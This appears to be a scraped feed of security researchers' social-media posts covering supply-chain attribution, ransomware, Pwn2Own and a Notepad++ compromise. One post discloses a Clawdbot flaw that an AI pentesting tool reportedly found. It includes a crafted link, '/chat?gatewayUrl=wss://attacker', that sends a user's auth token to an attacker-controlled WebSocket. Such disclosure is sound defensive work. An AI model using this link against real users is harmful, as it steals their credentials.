anothershell

#bughunter #sec #dev

[anothershell @dodcraft]

@nullenc0de Interested

[hacker.house @hackerfantastic]

Another security researcher hit by github take downs.

[Huntress @HuntressLabs]

🆕 Axios Supply Chain Update

What we know:

— macOS binary overlaps with known North Korean backdoor (Elastic)
— Internal project name macWebT = BlueNoroff's webT module from RustBucket campaigns
— Google TIG has attributed to UNC1069

[elhacker.NET @elhackernet]

[Blog] GrapheneOS se niega a cumplir con las nuevas leyes de verificación de edad para sistemas operativos
https://t.co/kknPN2LZb6

[anothershell @dodcraft]

@RussianPanda9xx @jenkohwong

[anothershell @dodcraft]

@RussianPanda9xx 👀🔥🔥🔥

[Handout @Zeefire02]

😭😭

[Nate @nnwakelam]

https://t.co/X7cE8xQhOi

This is a really good read. I like how this guy brings a lot of what he speaks on back to this idea of “creating more value than you consume”.

[anothershell @dodcraft]

@RussianPanda9xx Cool 🔥

[anothershell @dodcraft]

@RussianPanda9xx 🔥

[Justin Elze @HackingLZ]

InfoSec is in a weird spot. You can be all in on AI and also recognize that InfoSec literally means Information Security which probably includes not throwing all your client data into a frontier model.

Local models, shared compute in office DCs, rented inference you have options.

The whole point of the job is protecting information, and a lot of people seem to have forgotten that.

[LiveOverflow 🔴 @LiveOverflow]

After a long pause, a new video coming today!

Part 1 of small documentary about Pwn2Own…

[RussianPanda 🐼 🇺🇦 @RussianPanda9xx]

Ransomware threat actors target healthcare because they know hospitals will most likely pay - lives depend on these systems. They don’t care if someone misses chemo, can’t get dialysis, or dies waiting. They are banking on that desperation. Absolute scum.

[anothershell @dodcraft]

@RussianPanda9xx Sorry to bother you, but I would love the opportunity to interview you. I’ve been following your work, and I’m truly impressed by what you have accomplished.

[Obsidian @obsdmd]

Anything you can do in Obsidian you can do from the command line.

Obsidian CLI is now available in 1.12 (early access).

[André Baptista @0xacb]

🚨We found RCE in Clawdbot 🚨

If you're using Clawdbot/Moltbot, I can get RCE on your computer just by getting you to click a link. 

The coolest part? This vulnerability (CVE-2026-25253) took only 100 minutes to discover, and it was discovered completely autonomously using @Ethiack's AI pentesting solution "Hackian".

Here's how it went down 👇

We set Hackian against Clawdbot, purely blackbox. It discovered that the Control UI stores the gateway auth token in localStorage and builds the first WebSocket connect frame from it on load.

Hackian discovered that the UI also accepts "gatewayUrl" via query params: /chat?gatewayUrl=wss://attacker. This overrides the saved gateway and auto connects 😏

On first load, the UI immediately opens a WebSocket to the attacker URL and sends the token!

Think that's cool? Wait until you see how it upgraded this to a full RCE for local Clawdbot systems. Read the deets 👇

https://t.co/nnoOClDYx8

[vx-underground @vxunderground]

Rapid7 did a write-up on the Notepad++ compromise. Rapid7 released the paper fast af boi

How?
1. They sat on it
or...
2. Called in all the malware analysis schizos for lock the fuck in time

tldr ya prolly China lol

https://t.co/aebD9noOQ8

[Gregor Zunic @gregpr07]

All my Clawdbots with access to my production database

[Jamieson O'Reilly @theonejvo]

https://t.co/W75HavRqBl